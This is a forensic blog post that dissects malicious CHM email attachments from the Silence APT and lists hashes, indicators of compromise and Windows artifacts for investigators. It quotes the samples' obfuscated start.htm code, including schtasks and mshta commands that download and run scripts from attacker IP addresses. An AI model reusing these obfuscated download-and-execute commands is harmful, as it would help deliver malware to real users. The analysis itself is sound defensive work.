Dissecting Malicious CHM Files and Performing Forensic Analysis – Cyber Forensicator

Published: 2019-01-20 · Archived: 2026-04-05 22:35:58 UTC

Let's continue to dissect unusual malicious email attachments used by modern APT. This time I'm going to focus on malicious CHM files used by Silence APT. If you haven't heard about it for some reason, I would recommend to read this detailed report by Group-IB, as this APT attacks not only Russian banks, but also banks in more than 25 countries.

In this post I'll focus on two recent campaigns – in both of them the attackers used weaponized CHM files:

Maket dizayna debitovoy korp karty.CHM (Debit corporate card design template)

SHA256:
ff8b4ceb6b27a339c8ce0ee949f569cfe285d55366dc8763db69e87fa0815dab

Приглашение на конференцию 13012019.chm (Conference invitation 13012019)

SHA256:
c46b1fb735529986b51b789507106b8a81abba5bbdceb9263e99dd87c1866729

Let's start from what CHM files are. These are Microsoft Compiled HTML Help files. CHM files consist of a collection of HTML pages, an index and other navigation tools. As they are compressed, we can use, for example, 7-Zip to browse their contents, let's start from the first file, "Maket dizayna debitovoy korp karty.CHM":

The most interesting file is start.htm, it can be examined with a text or hex editor of your choice, here I use 010 Editor, let's look at the most interesting part of the file:

```
 <param name="ItEm1" value='      ,           "schtasks.exe", /create /tn 4 /tr  "
C:\Windows\System32\cmd.exe /c st%ALLUSERSPROFILE:~8,1%rt C:\Windows\System32\msht%ALLUSERSPROFILE:~8,1%
H%ALLUSERSPROFILE:~12,1%%ALLUSERSPROFILE:~12,1%p://146.0.77.104/%ALLUSERSPROFILE:~9,1%n%ALLUSERSPROFILE:
~9,1%s && schtasks.exe /delete /tn 4 /f" /sc minute /F' ;="">
```

As you can see, we already got quite a lot of info that can help us to create IoC (Indicators of Compromise) list, but it looks a bit obfuscated. The thing is – the attackers used an environment variable string substitution, obfuscation technique FIN7 started to use in June 2017. We can easily deobfuscate it using echo command:

So, once the victim opens the file, the script inside uses schtasks.exe to create a task with the name "4", which downloads and runs "mnms" from 146.0.77[.]104, then the task is deleted. What's "mnms"? It's a VB script, which will download the next stage.

Let's look inside another CHM file:

```
"cmd"                                ,       /c copy C:\Windows\Syste%ALLUSERSPROFILE:~9,1%32\cmd.exe
"%appdata%/dmw.exe" /Y && echo 3 >> "%appdata%/dmw.exe" &&  "%appdata%\dmw.exe" /c start
%ALLUSERSPROFILE:~9,1%sht%ALLUSERSPROFILE:~8,1% "http://185.70.186.146/%ALLUSERSPROFILE:~4,4%.php" '
;=""></object ioe=">" id="kt7t7t7t77t7t7t" siooiopprprprple="dfsskdhsdjhf"
iososos="888888888888888888888888888888888888888888888888" clasid="clsid:xefwfwe-qwe-
42342342ewwwwwwwwwwwwwwwwwwwwwww3-afsdfasdf" clasid="clsid:u32iusss309-1iueiojeeds-12j12ik3j1-k1j3k1"
cl??ssid="clsid:addb83256-d8f2-11c1-9377-00Aa003b7a11" classid="clsid:adb880A6-d8fF-11cF-9377-
00Aa003b7a11" width="1" height="1" cl??ssid="clsid:addb83256-d8f2-11c1-9377-00Ada003b7a11">
```

We see the same environment variable string substitution trick here, we can use echo command again to deobfuscate it:

This time there is no tasks, but still something interesting. Once opened by the victim, the script inside the CHM file will copy cmd.exe to %APPDATA% as dmw.exe, then it uses it to download and run “rogr.php” from 185.70.186[.]146. Again, “rogr.php” is a VB script, which will download the next stage.

If we compare both “start.htm” files, we can see that they have a lot in common. Of course, a good start is environment variable string substitution used for obfuscation in both files, it’s not very common technique. Also, some parts of the files are almost the same, but at the same time they are quite unique, it seems the attackers used the same template or software to create them. For example, let’s look at the beginnings of both files:

```
<meta charset="UTF-8">


<object ioe=">" id="kt7t7t7t77t7t7t" siooiopprprprple="dfsskdhsdjhf"
iososos="888888888888888888888888888888888888888888888888" clasid="clsid:xefwfwe-qwe-
42342342ewwwwwwwwwwwwwwwwwwwwwww3-afsdfasdf" clasid="clsid:u32iusss309-1iueiojeeds-12j12ik3j1-k1j3k1"
cl??ssid="clsid:addb83256-d8f2-11c1-9377-00Aa003b7a11" classid="clsid:adb880A6-d8fF-11cF-9377-
00Aa003b7a11" width="1" height="1" cl??ssid="clsid:addb83256-d8f2-11c1-9377-00Ada003b7a11">
```

Maket dizayna debitovoy korp karty.CHM

```
<meta charset="UTF-8">


<object ioe=">" id="kt7t7t7t77t7t7t" siooiopprprprple="dfsskdhsdjhf"
iososos="psowkwkkwkwkwwpsowkwkkwkwkwwpsowkwkkwkwkwwpsowkwkkwkwkww" clasid="clsid:xefwfwe-qwe-
42342342ewwwwwwwwwwwwwwwwwwwwwww3-afsdfasdf" clasid="clsid:u32iusss309-1iueiojeeds-12j12ik3j1-k1j3k1"
cl??ssid="clsid:addb83256-d8f2-11c1-9377-00Aa003b7a11" classid="clsid:adb880A6-d8fF-11cF-9377-
00Aa003b7a11" width="1" height="1" cl??ssid="clsid:addb83256-d8f2-11c1-9377-00Ada003b7a11">
```

Приглашение на конференцию 13012019.chm

As you can see, they are almost the same. Let’s continue with a bit of forensic analysis. Usually it takes some time for the attackers to finish the attack. Sometimes it’s a week or two, sometimes it’s three months. It means that there may be no artifacts of file opening, like MRU or LNK. Of course, CHM files are not very common, so you have good chances of finding quite a lot of artifacts of opening these files by the users. Anyway, I would like to focus on most unique artifacts left from execution of files under analysis.

Let’s go back to our first file, “Maket dizayna debitovoy korp karty.CHM”. It creates a task and then deletes it. It means we can hardly find task file under C:\Windows\System32\Tasks, same can be said about VSCs, as it’s created, ran and deleted immediatelly. But it can be a good idea to check Microsoft-Windows-TaskScheduler%4Operational.evtx, as it records everything regarding scheduled tasks, here is a good example:

As for the second file, “Приглашение на конференцию 13012019.chm”, as you remember, it creates a file called “dmw.exe”, that is a copy of “cmd.exe”. As it doesn’t delete it, this can be used as an IoC:

Name	S	C	O	Modified Time	Change Time	Access Time	Created Time	Size	Flags(Dir)
Adobe				2018-04-25 18:48:28 MSK	2018-04-25 18:59:56 MSK	2019-01-19 10:35:57 MSK	2018-04-25 18:48:28 MSK	264	Allocated
Microsoft				2019-01-14 11:59:11 MSK	2019-01-14 11:59:11 MSK	2019-01-19 10:32:31 MSK	2018-04-25 18:48:26 MSK	56	Allocated
[current folder]				2019-01-19 10:31:25 MSK	2019-01-19 10:31:25 MSK	2019-01-19 10:32:31 MSK	2018-04-25 18:48:26 MSK	448	Allocated
[parent folder]				2018-04-25 18:48:26 MSK	2018-04-25 18:59:56 MSK	2019-01-19 10:32:44 MSK	2018-04-25 18:48:26 MSK	344	Allocated
dmw.exe				2019-01-19 10:31:25 MSK	2019-01-19 10:31:25 MSK	2019-01-19 10:31:25 MSK	2019-01-19 10:31:25 MSK	273925	Allocated

Even if this file was deleted, you still have quite a lot of evedence sources of its execution, like Prefetch, Shimcache, etc.

About the author

Oleg Skulkin, GCFA, MCFE, ACE, a DFIR enthusional (enthusiast + professional), Windows Forensics Cookbook, Practical Mobile Forensics and Learning Android Forensics co-author.
